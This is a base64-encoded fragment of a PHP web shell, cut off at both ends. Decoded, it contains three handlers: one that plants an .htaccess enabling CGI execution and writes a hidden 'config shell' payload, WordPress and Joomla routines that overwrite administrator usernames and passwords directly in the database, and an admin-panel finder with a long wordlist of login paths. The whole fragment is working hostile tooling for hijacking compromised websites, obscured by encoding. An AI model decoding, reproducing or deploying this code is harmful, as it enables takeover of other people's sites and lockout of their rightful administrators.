8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQogDQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ2NvbmZpZycpKQ0KewkNCj8+DQo8Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDsgPz4mYW1wO3g9Y29uZmlnIiBtZXRob2Q9InBvc3QiPg0KDQo8P3BocA0KDQplY2hvICI8Y2VudGVyLz48YnIvPjxiPjxmb250IGNvbG9yPSNGRjAwMDA+LS09PVsgQ29uZmlnIFNoZWxsIFByaXY4IFNDUiBdPT0tLTwvZm9udD48L2I+PGJyPjxicj4iOw0KDQogIG1rZGlyKCdjb25maWcnLCAwNzU1KTsNCiAgICBjaGRpcignY29uZmlnJyk7DQogICAgICAgICRrb2tkb3N5YSA9ICIuaHRhY2Nlc3MiOw0KICAgICAgICAkZG9zeWFfYWRpID0gIiRrb2tkb3N5YSI7DQogICAgICAgICRkb3N5YSA9IGZvcGVuICgkZG9zeWFfYWRpICwgJ3cnKSBvciBkaWUgKCJFcnJvciBjdXl5ISIpOw0KICAgICAgICAkbWV0aW4gPSAiT3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ0KCQkNCkFkZFR5cGUgYXBwbGljYXRpb24veC1odHRwZC1jZ2kgLmNwYw0KDQpBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLml6bw0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5pem8iOyAgICANCiAgICAgICAgZndyaXRlICggJGRvc3lhICwgJG1ldGluICkgOw0KICAgICAgICBmY2xvc2UgKCRkb3N5YSk7DQoNCiRmaWxlID0gZm9wZW4oImNvbmZpZy5pem8iICwidysiKTsNCiR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGNvbmZpZ3NoZWxsKSk7DQpmY2xvc2UoJGZpbGUpOw0KICAgIGNobW9kKCJjb25maWcuaXpvIiwwNzU1KTsNCiAgIGVjaG8gIjxpZnJhbWUgc3JjPWNvbmZpZy9jb25maWcuaXpvIHdpZHRoPTk3JSBoZWlnaHQ9MTAwJSBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPg0KICAgPC9kaXY+IjsgDQp9DQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQoNCg0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3dwLXJlc2V0JykpDQp7CQ0KPz4NCjxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOyA/PiZhbXA7eD13cC1yZXNldCIgbWV0aG9kPSJwb3N0Ij4NCg0KPD9waHANCg0KZWNobyAiPGNlbnRlci8+PGJyLz48Yj48Zm9udCBjb2xvcj0jRkYwMDAwPi0tPT1bICBXb3JkcHJlc3MgUmVzZXQgUGFzc3dvcmQgIF09PS0tPC9mb250PjwvYj48YnI+PGJyPiI7DQogIA0KICBpZihlbXB0eSgkX1BPU1RbJ3B3ZCddKSl7DQogIA0KZWNobyAiPEZPUk0gbWV0aG9kPSdQT1NUJz4NCjx0YWJsZSBjbGFzcz0ndGFibmV0JyBzdHlsZT0nd2lkdGg6MzAwcHg7Jz4gPHRyPjx0aCBjb2xzcGFuPScyJz5Db25uZWN0IHRvIG15U1FMIHNlcnZlcjwvdGg+PC90cj4gPHRyPjx0ZD4mbmJzcDsmbmJzcDtIb3N0bmFtZTwvdGQ+PHRkPg0KPGlucHV0IHN0eWxlPSd3aWR0aDoyMjBweDsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J2xvY2FsaG9zdCcgdmFsdWU9J2xvY2FsaG9zdCcgLz48L3RkPjwvdHI+IDx0cj48dGQ+Jm5ic3A7Jm5ic3A7RGF0YWJhc2U8L3RkPjx0ZD4NCjxpbnB1dCBzdHlsZT0nd2lkdGg6MjIwcHg7JyBjbGFzcz0naW5wdXR6JyB0eXBlPSd0ZXh0JyBuYW1lPSdkYXRhYmFzZScgdmFsdWU9J3dwLScgLz48L3RkPjwvdHI+IDx0cj48dGQ+Jm5ic3A7Jm5ic3A7dXNlcm5hbWU8L3RkPjx0ZD4NCjxpbnB1dCBzdHlsZT0nd2lkdGg6MjIwcHg7JyBjbGFzcz0naW5wdXR6JyB0eXBlPSd0ZXh0JyBuYW1lPSd1c2VybmFtZScgdmFsdWU9J3dwLScgLz48L3RkPjwvdHI+IDx0cj48dGQ+Jm5ic3A7Jm5ic3A7cGFzc3dvcmQ8L3RkPjx0ZD4NCjxpbnB1dCBzdHlsZT0nd2lkdGg6MjIwcHg7JyBjbGFzcz0naW5wdXR6JyB0eXBlPSd0ZXh0JyBuYW1lPSdwYXNzd29yZCcgdmFsdWU9JyoqJyAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+Jm5ic3A7Jm5ic3A7VXNlciBiYXJ1PC90ZD48dGQ+DQo8aW5wdXQgc3R5bGU9J3dpZHRoOjIyMHB4OycgY2xhc3M9J2lucHV0eicgdHlwZT0ndGV4dCcgbmFtZT0nYWRtaW4nIHZhbHVlPSdhZG1pbicgLz48L3RkPjwvdHI+DQogPHRyPjx0ZD4mbmJzcDsmbmJzcDtQYXNzIEJhcnU8L3RkPjx0ZD4NCjxpbnB1dCBzdHlsZT0nd2lkdGg6ODBweDsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J3B3ZCcgdmFsdWU9JzEyMzQ1NicgLz4mbmJzcDsNCg0KPGlucHV0IHN0eWxlPSd3aWR0aDoxOSU7JyBjbGFzcz0naW5wdXR6YnV0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdjaGFuZ2UhJyBuYW1lPSdzZW5kJyAvPjwvRk9STT4NCjwvdGQ+PC90cj4gPC90YWJsZT48YnI+PGJyPjxicj48YnI+DQoiOw0KfWVsc2V7DQokbG9jYWxob3N0ID0gJF9QT1NUWydsb2NhbGhvc3QnXTsNCiRkYXRhYmFzZSAgPSAkX1BPU1RbJ2RhdGFiYXNlJ107DQokdXNlcm5hbWUgID0gJF9QT1NUWyd1c2VybmFtZSddOw0KJHBhc3N3b3JkICA9ICRfUE9TVFsncGFzc3dvcmQnXTsNCiRwd2QgICA9ICRfUE9TVFsncHdkJ107DQokYWRtaW4gPSAkX1BPU1RbJ2FkbWluJ107DQoNCg0KIEBteXNxbF9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCkgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KIEBteXNxbF9zZWxlY3RfZGIoJGRhdGFiYXNlKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQoNCiRoYXNoID0gY3J5cHQoJHB3ZCk7DQokYTRzPUBteXNxbF9xdWVyeSgiVVBEQVRFIHdwX3VzZXJzIFNFVCB1c2VyX2xvZ2luID0nIi4kYWRtaW4uIicgV0hFUkUgSUQgPSAxIikgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KJGE0cz1AbXlzcWxfcXVlcnkoIlVQREFURSB3cF91c2VycyBTRVQgdXNlcl9wYXNzID0nIi4kaGFzaC4iJyBXSEVSRSBJRCA9IDEiKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQokYTRzPUBteXNxbF9xdWVyeSgiVVBEQVRFIHdwX3VzZXJzIFNFVCB1c2VyX2xvZ2luID0nIi4kYWRtaW4uIicgV0hFUkUgSUQgPSAyIikgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KJGE0cz1AbXlzcWxfcXVlcnkoIlVQREFURSB3cF91c2VycyBTRVQgdXNlcl9wYXNzID0nIi4kaGFzaC4iJyBXSEVSRSBJRCA9IDIiKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQokYTRzPUBteXNxbF9xdWVyeSgiVVBEQVRFIHdwX3VzZXJzIFNFVCB1c2VyX2xvZ2luID0nIi4kYWRtaW4uIicgV0hFUkUgSUQgPSAzIikgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KJGE0cz1AbXlzcWxfcXVlcnkoIlVQREFURSB3cF91c2VycyBTRVQgdXNlcl9wYXNzID0nIi4kaGFzaC4iJyBXSEVSRSBJRCA9IDMiKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQokYTRzPUBteXNxbF9xdWVyeSgiVVBEQVRFIHdwX3VzZXJzIFNFVCB1c2VyX2VtYWlsID0nIi4kU1FMLiInIFdIRVJFIElEID0gMSIpIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCg0KDQppZigkYTRzKXsNCmVjaG8gIjxiPiBTdWNjZXNzISEgTm93IFlvdSBDYW4gTG9naW4gVG8gd3AtYWRtaW48L2I+ICI7DQp9DQoNCn0NCiAgDQogIA0KICBlY2hvICINCiAgIDwvZGl2PiI7IH0NCg0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdqbS1yZXNldCcpKQ0KewkNCj8+DQo8Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDsgPz4mYW1wO3g9am0tcmVzZXQiIG1ldGhvZD0icG9zdCI+DQoNCjw/cGhwDQoNCmVjaG8gIjxjZW50ZXIvPjxici8+PGI+PGZvbnQgY29sb3I9I0ZGMDAwMD4tLT09WyAgSm9vbWxhIFJlc2V0IFBhc3N3b3JkIF09PS0tPC9mb250PjwvYj48YnI+PGJyPiI7DQoJaWYoZW1wdHkoJF9QT1NUWydwd2QnXSkpew0KZWNobyAiPEZPUk0gbWV0aG9kPSdQT1NUJz48dGFibGUgY2xhc3M9J3RhYm5ldCcgc3R5bGU9J3dpZHRoOjMwMHB4Oyc+IDx0cj48dGggY29sc3Bhbj0nMic+Q29ubmVjdCB0byBNeVNRTCA8L3RoPjwvdHI+IDx0cj48dGQ+Jm5ic3A7Jm5ic3A7SG9zdDwvdGQ+PHRkPg0KPGlucHV0IHN0eWxlPSd3aWR0aDoyNzBweDsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J2xvY2FsaG9zdCcgdmFsdWU9J2xvY2FsaG9zdCcgLz48L3RkPjwvdHI+IDx0cj48dGQ+Jm5ic3A7Jm5ic3A7RGF0YWJhc2U8L3RkPjx0ZD4NCjxpbnB1dCBzdHlsZT0nd2lkdGg6MjcwcHg7JyBjbGFzcz0naW5wdXR6JyB0eXBlPSd0ZXh0JyBuYW1lPSdkYXRhYmFzZScgdmFsdWU9J2RhdGFiYXNlJyAvPjwvdGQ+PC90cj4gPHRyPjx0ZD4mbmJzcDsmbmJzcDt1c2VybmFtZTwvdGQ+PHRkPg0KPGlucHV0IHN0eWxlPSd3aWR0aDoyNzBweDsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J3VzZXJuYW1lJyB2YWx1ZT0nZGJfdXNlcicgLz48L3RkPjwvdHI+IDx0cj48dGQ+Jm5ic3A7Jm5ic3A7cGFzc3dvcmQ8L3RkPjx0ZD4NCjxpbnB1dCBzdHlsZT0nd2lkdGg6MjcwcHg7JyBjbGFzcz0naW5wdXR6JyB0eXBlPSdwYXNzd29yZCcgbmFtZT0ncGFzc3dvcmQnIHZhbHVlPScqKicgLz48L3RkPjwvdHI+DQo8dHI+PHRkPiZuYnNwOyZuYnNwO1VzZXIgYmFydTwvdGQ+PHRkPg0KPGlucHV0IHN0eWxlPSd3aWR0aDoyNzBweDsnIGNsYXNzPSdpbnB1dHonIG5hbWU9J2FkbWluJyB2YWx1ZT0nYWRtaW4nIC8+PC90ZD48L3RyPg0KIDx0cj48dGQ+Jm5ic3A7Jm5ic3A7cGFzcyBiYXJ1IDwvdGQ+PHRkPjEyMzQ1NiA9IA0KPGlucHV0IHN0eWxlPSd3aWR0aDoxMzBweDsnIGNsYXNzPSdpbnB1dHonIG5hbWU9J3B3ZCcgdmFsdWU9JzQ4MTA2NWZkNzliMjUzMTA0YWVhYjVjYTVjNzE3Y2Q1JyAvPiZuYnNwOw0KDQo8aW5wdXQgc3R5bGU9J3dpZHRoOjIzJTsnIGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J2NoYW5nZSEnIG5hbWU9J3NlbmQnIC8+PC9GT1JNPg0KPC90ZD48L3RyPiA8L3RhYmxlPjxicj48YnI+PGJyPjxicj4NCiI7DQp9ZWxzZXsNCiRsb2NhbGhvc3QgPSAkX1BPU1RbJ2xvY2FsaG9zdCddOw0KJGRhdGFiYXNlICA9ICRfUE9TVFsnZGF0YWJhc2UnXTsNCiR1c2VybmFtZSAgPSAkX1BPU1RbJ3VzZXJuYW1lJ107DQokcGFzc3dvcmQgID0gJF9QT1NUWydwYXNzd29yZCddOw0KJHB3ZCAgID0gJF9QT1NUWydwd2QnXTsNCiRhZG1pbiA9ICRfUE9TVFsnYWRtaW4nXTsNCkBteXNxbF9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCkgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KQG15c3FsX3NlbGVjdF9kYigkZGF0YWJhc2UpIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCiRoYXNoID0gY3J5cHQoJHB3ZCk7DQokU1FMPUBteXNxbF9xdWVyeSgiVVBEQVRFIGpvc191c2VycyBTRVQgdXNlcm5hbWUgPSciLiRhZG1pbi4iJyBXSEVSRSBJRCA9IDYyIikgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KJFNRTD1AbXlzcWxfcXVlcnkoIlVQREFURSBqb3NfdXNlcnMgU0VUIHBhc3N3b3JkID0nIi4kcHdkLiInIFdIRVJFIElEID0gNjIiKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQokU1FMPUBteXNxbF9xdWVyeSgiVVBEQVRFIGpvc191c2VycyBTRVQgdXNlcm5hbWUgPSciLiRhZG1pbi4iJyBXSEVSRSBJRCA9IDYzIikgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KJFNRTD1AbXlzcWxfcXVlcnkoIlVQREFURSBqb3NfdXNlcnMgU0VUIHBhc3N3b3JkID0nIi4kcHdkLiInIFdIRVJFIElEID0gNjMiKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQokU1FMPUBteXNxbF9xdWVyeSgiVVBEQVRFIGpvc191c2VycyBTRVQgdXNlcm5hbWUgPSciLiRhZG1pbi4iJyBXSEVSRSBJRCA9IDY0Iikgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KJFNRTD1AbXlzcWxfcXVlcnkoIlVQREFURSBqb3NfdXNlcnMgU0VUIHBhc3N3b3JkID0nIi4kcHdkLiInIFdIRVJFIElEID0gNjQiKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQokU1FMPUBteXNxbF9xdWVyeSgiVVBEQVRFIGpvc191c2VycyBTRVQgdXNlcm5hbWUgPSciLiRhZG1pbi4iJyBXSEVSRSBJRCA9IDY1Iikgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KJFNRTD1AbXlzcWxfcXVlcnkoIlVQREFURSBqb3NfdXNlcnMgU0VUIHBhc3N3b3JkID0nIi4kcHdkLiInIFdIRVJFIElEID0gNjUiKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQppZigkU1FMKXsNCmVjaG8gIjxiPlN1Y2Nlc3MgOiBOZXcgUGFzc3dvcmQgPj4+IC0gKDEyMzQ1NikiOw0KfQ0KfQ0KCQ0KICBlY2hvICINCiAgIDwvZGl2PiI7IA0KfSANCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ2FkZmluJykpDQp7CQ0KPz4NCjxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOyA/PiZhbXA7eD1hZGZpbiIgbWV0aG9kPSJwb3N0Ij4NCg0KPD9waHANCnNldF90aW1lX2xpbWl0KDApOw0KZXJyb3JfcmVwb3J0aW5nKDApOw0KJGxpc3RbJ2Zyb250J10gPSJhZG1pbg0KYWRtDQphZG1pbmNwDQphZG1jcA0KY3ANCm1vZGNwDQptb2RlcmF0b3JjcA0KYWRtaW5hcmUNCmFkbWlucw0KY3BhbmVsDQpjb250cm9scGFuZWwiOw0KJGxpc3RbJ2VuZCddID0gImFkbWluMS5waHANCmFkbWluMS5odG1sDQphZG1pbjIucGhwDQphZG1pbjIuaHRtbA0KeW9uZXRpbS5waHANCnlvbmV0aW0uaHRtbA0KeW9uZXRpY2kucGhwDQp5b25ldGljaS5odG1sDQpjY21zLw0KY2Ntcy9sb2dpbi5waHANCmNjbXMvaW5kZXgucGhwDQptYWludGVuYW5jZS8NCndlYm1hc3Rlci8NCmFkbS8NCmNvbmZpZ3VyYXRpb24vDQpjb25maWd1cmUvDQp3ZWJzdm4vDQphZG1pbi8NCmFkbWluL2FjY291bnQucGhwDQphZG1pbi9hY2NvdW50Lmh0bWwNCmFkbWluL2luZGV4LnBocA0KYWRtaW4vaW5kZXguaHRtbA0KYWRtaW4vbG9naW4ucGhwDQphZG1pbi9sb2dpbi5odG1sDQphZG1pbi9ob21lLnBocA0KYWRtaW4vY29udHJvbHBhbmVsLmh0bWwNCmFkbWluL2NvbnRyb2xwYW5lbC5waHANCmFkbWluLnBocA0KYWRtaW4uaHRtbA0KYWRtaW4vY3AucGhwDQphZG1pbi9jcC5odG1sDQpjcC5waHANCmNwLmh0bWwNCmFkbWluaXN0cmF0b3IvDQphZG1pbmlzdHJhdG9yL2luZGV4Lmh0bWwNCmFkbWluaXN0cmF0b3IvaW5kZXgucGhwDQphZG1pbmlzdHJhdG9yL2xvZ2luLmh0bWwNCmFkbWluaXN0cmF0b3IvbG9naW4ucGhwDQphZG1pbmlzdHJhdG9yL2FjY291bnQuaHRtbA0KYWRtaW5pc3RyYXRvci9hY2NvdW50LnBocA0KYWRtaW5pc3RyYXRvci5waHANCmFkbWluaXN0cmF0b3IuaHRtbA0KbG9naW4ucGhwDQpsb2dpbi5odG1sDQptb2RlbHNlYXJjaC9sb2dpbi5waHANCm1vZGVyYXRvci5waHANCm1vZGVyYXRvci5odG1sDQptb2RlcmF0b3IvbG9naW4ucGhwDQptb2RlcmF0b3IvbG9naW4uaHRtbA0KbW9kZXJhdG9yL2FkbWluLnBocA0KbW9kZXJhdG9yL2FkbWluLmh0bWwNCm1vZGVyYXRvci8NCmFjY291bnQucGhwDQphY2NvdW50Lmh0bWwNCmNvbnRyb2xwYW5lbC8NCmNvbnRyb2xwYW5lbC5waHANCmNvbnRyb2xwYW5lbC5odG1sDQphZG1pbmNvbnRyb2wucGhwDQphZG1pbmNvbnRyb2wuaHRtbA0KYWRtaW5wYW5lbC5waHANCmFkbWlucGFuZWwuaHRtbA0KYWRtaW4xLmFzcA0KYWRtaW4yLmFzcA0KeW9uZXRpbS5hc3ANCnlvbmV0aWNpLmFzcA0KYWRtaW4vYWNjb3VudC5hc3ANCmFkbWluL2luZGV4LmFzcA0KYWRtaW4vbG9naW4uYXNwDQphZG1pbi9ob21lLmFzcA0KYWRtaW4vY29udHJvbHBhbmVsLmFzcA0KYWRtaW4uYXNwDQphZG1pbi9jcC5hc3ANCmNwLmFzcA0KYWRtaW5pc3RyYXRvci9pbmRleC5hc3ANCmFkbWluaXN0cmF0b3IvbG9naW4uYXNwDQphZG1pbmlzdHJhdG9yL2FjY291bnQuYXNwDQphZG1pbmlzdHJhdG9yLmFzcA0KbG9naW4uYXNwDQptb2RlbHNlYXJjaC9sb2dpbi5hc3ANCm1vZGVyYXRvci5hc3ANCm1vZGVyYXRvci9sb2dpbi5hc3ANCm1vZGVyYXRvci9hZG1pbi5hc3ANCmFjY291bnQuYXNwDQpjb250cm9scGFuZWwuYXNwDQphZG1pbmNvbnRyb2wuYXNwDQphZG1pbnBhbmVsLmFzcA0KZmlsZWFkbWluLw0KZmlsZWFkbWluLnBocA0KZmlsZWFkbWluLmFzcA0KZmlsZWFkbWluLmh0bWwNCmFkbWluaXN0cmF0aW9uLw0KYWRtaW5pc3RyYXRpb24ucGhwDQphZG1pbmlzdHJhdGlvbi5odG1sDQpzeXNhZG1pbi5waHANCnN5c2FkbWluLmh0bWwNCnBocG15YWRtaW4vDQpteWFkbWluLw0Kc3lzYWRtaW4uYXNwDQpzeXNhZG1pbi8NCnVyLWFkbWluLmFzcA0KdXItYWRtaW4ucGhwDQp1ci1hZG1pbi5odG1sDQp1ci1hZG1pbi8NClNlcnZlci5waHANClNlcnZlci5odG1sDQpTZXJ2ZXIuYXNwDQpTZXJ2ZXIvDQp3cC1hZG1pbi8NCmFkbWluaXN0cjgucGhwDQphZG1pbmlzdHI4Lmh0bWwNCmFkbWluaXN0cjgvDQphZG1pbmlzdHI4LmFzcA0Kd2ViYWRtaW4vDQp3ZWJhZG1pbi5waHANCndlYmFkbWluLmFzcA0Kd2ViYWRtaW4uaHRtbA0KYWRtaW5pc3RyYXRpZS8NCmFkbWlucy8NCmFkbWlucy5waHANCmFkbWlucy5hc3ANCmFkbWlucy5odG1sDQphZG1pbmlzdHJpdmlhLw0KRGF0YWJhc2VfQWRtaW5pc3RyYXRpb24vDQpXZWJBZG1pbi8NCnVzZXJhZG1pbi8NCnN5c2FkbWlucy8NCmFkbWluMS8NCnN5c3RlbS1hZG1pbmlzdHJhdGlvbi8NCmFkbWluaXN0cmF0b3JzLw0KcGdhZG1pbi8NCmRpcmVjdGFkbWluLw0Kc3RhcmFkbWluLw0KU2VydmVyQWRtaW5pc3RyYXRvci8NClN5c0FkbWluLw0KYWRtaW5pc3Rlci8NCkxpdmVVc2VyX0FkbWluLw0Kc3lzLWFkbWluLw0KdHlwbzMvDQpwYW5lbC8NCmNwYW5lbC8NCmNQYW5lbC8NCmNwYW5lbF9maWxlLw0KcGxhdHpfbG9naW4vDQpyY0xvZ2luLw0KYmxvZ2luZGV4Lw0KZm9ybXNsb2dpbi8NCmF1dG9sb2dpbi8NCnN1cHBvcnRfbG9naW4vDQptZXRhX2xvZ2luLw0KbWFudWFsbG9naW4vDQpzaW1wbGVMb2dpbi8NCmxvZ2luZmxhdC8NCnV0aWxpdHlfbG9naW4vDQpzaG93bG9naW4vDQptZW1sb2dpbi8NCm1lbWJlcnMvDQpsb2dpbi1yZWRpcmVjdC8NCnN1Yi1sb2dpbi8NCndwLWxvZ2luLw0KbG9naW4xLw0KZGlyLWxvZ2luLw0KbG9naW5fZGIvDQp4bG9naW4vDQpzbWJsb2dpbi8NCmN1c3RvbWVyX2xvZ2luLw0KVXNlckxvZ2luLw0KbG9naW4tdXMvDQphY2N0X2xvZ2luLw0KYWRtaW5fYXJlYS8NCmJpZ2FkbWluLw0KcHJvamVjdC1hZG1pbnMvDQpwaHBwZ2FkbWluLw0KcHVyZWFkbWluLw0Kc3FsLWFkbWluLw0KcmFkbWluZC8NCm9wZW52cG5hZG1pbi8NCndpem15c3FsYWRtaW4vDQp2YWRtaW5kLw0KZXpzcWxpdGVhZG1pbi8NCmhwd2ViamV0YWRtaW4vDQpuZXdzYWRtaW4vDQphZG1pbnByby8NCkxvdHVzX0RvbWlub19BZG1pbi8NCmJiYWRtaW4vDQp2bWFpbGFkbWluLw0KSW5keV9hZG1pbi8NCmNjcDE0YWRtaW4vDQppcmMtbWFjYWRtaW4vDQpiYW5uZXJhZG1pbi8NCnNzaGFkbWluLw0KcGhwbGRhcGFkbWluLw0KbWFjYWRtaW4vDQphZG1pbmlzdHJhdG9yYWNjb3VudHMvDQphZG1pbjRfYWNjb3VudC8NCmFkbWluNF9jb2xvbi8NCnJhZG1pbmQtMS8NClN1cGVyLUFkbWluLw0KQWRtaW5Ub29scy8NCmNtc2FkbWluLw0KU3lzQWRtaW4yLw0KZ2xvYmVzX2FkbWluLw0KY2FkbWlucy8NCnBocFNRTGl0ZUFkbWluLw0KbmF2U2l0ZUFkbWluLw0Kc2VydmVyX2FkbWluX3NtYWxsLw0KbG9nb19zeXNhZG1pbi8NCnNlcnZlci8NCmRhdGFiYXNlX2FkbWluaXN0cmF0aW9uLw0KcG93ZXJfdXNlci8NCnN5c3RlbV9hZG1pbmlzdHJhdGlvbi8NCnNzX3Ztc19hZG1pbl9zbS8NCmFkbWluYXJlYS8NCmJiLWFkbWluLw0KYWRtaW5Mb2dpbi8NCnBhbmVsLWFkbWluaXN0cmFjaW9uLw0KaW5zdGFkbWluLw0KbWVtYmVyYWRtaW4vDQphZG1pbmlzdHJhdG9ybG9naW4vDQphZG1pbi9hZG1pbi5waHANCmFkbWluX2FyZWEvYWRtaW4ucGhwDQphZG1pbl9hcmVhL2xvZ2luLnBocA0Kc2l0ZWFkbWluL2xvZ2luLnBocA0Kc2l0ZWFkbWluL2luZGV4LnBocA0Kc2l0ZWFkbWluL2xvZ2luLmh0bWwNCmFkbWluL2FkbWluLmh0bWwNCmFkbWluX2FyZWEvaW5kZXgucGhwDQpiYi1hZG1pbi9pbmRleC5waHANCmJiLWFkbWluL2xvZ2luLnBocA0KYmItYWRtaW4vYWRtaW4ucGhwDQphZG1pbl9hcmVhL2xvZ2luLmh0bWwNCmFkbWluX2FyZWEvaW5kZXguaHRtbA0KYWRtaW5jcC9pbmRleC5hc3ANCmFkbWluY3AvbG9naW4uYXNwDQphZG1pbmNwL2luZGV4Lmh0bWwNCndlYmFkbWluL2luZGV4Lmh0bWwNCndlYmFkbWluL2FkbWluLmh0bWwNCndlYmFkbWluL2xvZ2luLmh0bWwNCmFkbWluL2FkbWluX2xvZ2luLmh0bWwNCmFkbWluX2xvZ2luLmh0bWwNCnBhbmVsLWFkbWluaXN0cmFjaW9uL2xvZ2luLmh0bWwNCm5zdy9hZG1pbi9sb2dpbi5waHANCndlYmFkbWluL2xvZ2luLnBocA0KYWRtaW4vYWRtaW5fbG9naW4ucGhwDQphZG1pbl9sb2dpbi5waHANCmFkbWluX2FyZWEvYWRtaW4uaHRtbA0KcGFnZXMvYWRtaW4vYWRtaW4tbG9naW4ucGhwDQphZG1pbi9hZG1pbi1sb2dpbi5waHANCmFkbWluLWxvZ2luLnBocA0KYmItYWRtaW4vaW5kZXguaHRtbA0KYmItYWRtaW4vbG9naW4uaHRtbA0KYmItYWRtaW4vYWRtaW4uaHRtbA0KYWRtaW4vaG9tZS5odG1sDQpwYWdlcy9hZG1pbi9hZG1pbi1sb2dpbi5odG1sDQphZG1pbi9hZG1pbi1sb2dpbi5odG1sDQphZG1pbi1sb2dpbi5odG1sDQphZG1pbi9hZG1pbkxvZ2luLmh0bWwNCmFkbWluTG9naW4uaHRtbA0KaG9tZS5odG1sDQpyY2pha2FyL2FkbWluL2xvZ2luLnBocA0KYWRtaW5hcmVhL2luZGV4Lmh0bWwNCmFkbWluYXJlYS9hZG1pbi5odG1sDQp3ZWJhZG1pbi9pbmRleC5waHANCndlYmFkbWluL2FkbWluLnBocA0KdXNlci5odG1sDQptb2RlbHNlYXJjaC9sb2dpbi5odG1sDQphZG1pbmFyZWEvbG9naW4uaHRtbA0KcGFuZWwtYWRtaW5pc3RyYWNpb24vaW5kZXguaHRtbA0KcGFuZWwtYWRtaW5pc3RyYWNpb24vYWRtaW4uaHRtbA0KbW9kZWxzZWFyY2gvaW5kZXguaHRtbA0KbW9kZWxzZWFyY2gvYWRtaW4uaHRtbA0KYWRtaW5jb250cm9sL2xvZ2luLmh0bWwNCmFkbS9pbmRleC5odG1sDQphZG0uaHRtbA0KdXNlci5waHANCnBhbmVsLWFkbWluaXN0cmFjaW9uL2xvZ2luLnBocA0Kd3AtbG9naW4ucGhwDQphZG1pbkxvZ2luLnBocA0KYWRtaW4vYWRtaW5Mb2dpbi5waHANCmhvbWUucGhwDQphZG1pbmFyZWEvaW5kZXgucGhwDQphZG1pbmFyZWEvYWRtaW4ucGhwDQphZG1pbmFyZWEvbG9naW4ucGhwDQpwYW5lbC1hZG1pbmlzdHJhY2lvbi9pbmRleC5waHANCnBhbmVsLWFkbWluaXN0cmFjaW9uL2FkbWluLnBocA0KbW9kZWxzZWFyY2gvaW5kZXgucGhwDQptb2RlbHNlYXJjaC9hZG1pbi5waHANCmFkbWluY29udHJvbC9sb2dpbi5waHANCmFkbS9hZG1sb2dpbnVzZXIucGhwDQphZG1sb2dpbnVzZXIucGhwDQphZG1pbjIvbG9naW4ucGhwDQphZG1pbjIvaW5kZXgucGhwDQphZG0vaW5kZXgucGhwDQphZG0ucGhwDQphZmZpbGlhdGUucGhwDQphZG1fYXV0aC5waHANCm1lbWJlcmFkbWluLnBocA0KYWRtaW5pc3RyYXRvcmxvZ2luLnBocA0KYWRtaW4vYWRtaW4uYXNwDQphZG1pbl9hcmVhL2FkbWluLmFzcA0KYWRtaW5fYXJlYS9sb2dpbi5hc3ANCmFkbWluX2FyZWEvaW5kZXguYXNwDQpiYi1hZG1pbi9pbmRleC5hc3ANCmJiLWFkbWluL2xvZ2luLmFzcA0KYmItYWRtaW4vYWRtaW4uYXNwDQpwYWdlcy9hZG1pbi9hZG1pbi1sb2dpbi5hc3ANCmFkbWluL2FkbWluLWxvZ2luLmFzcA0KYWRtaW4t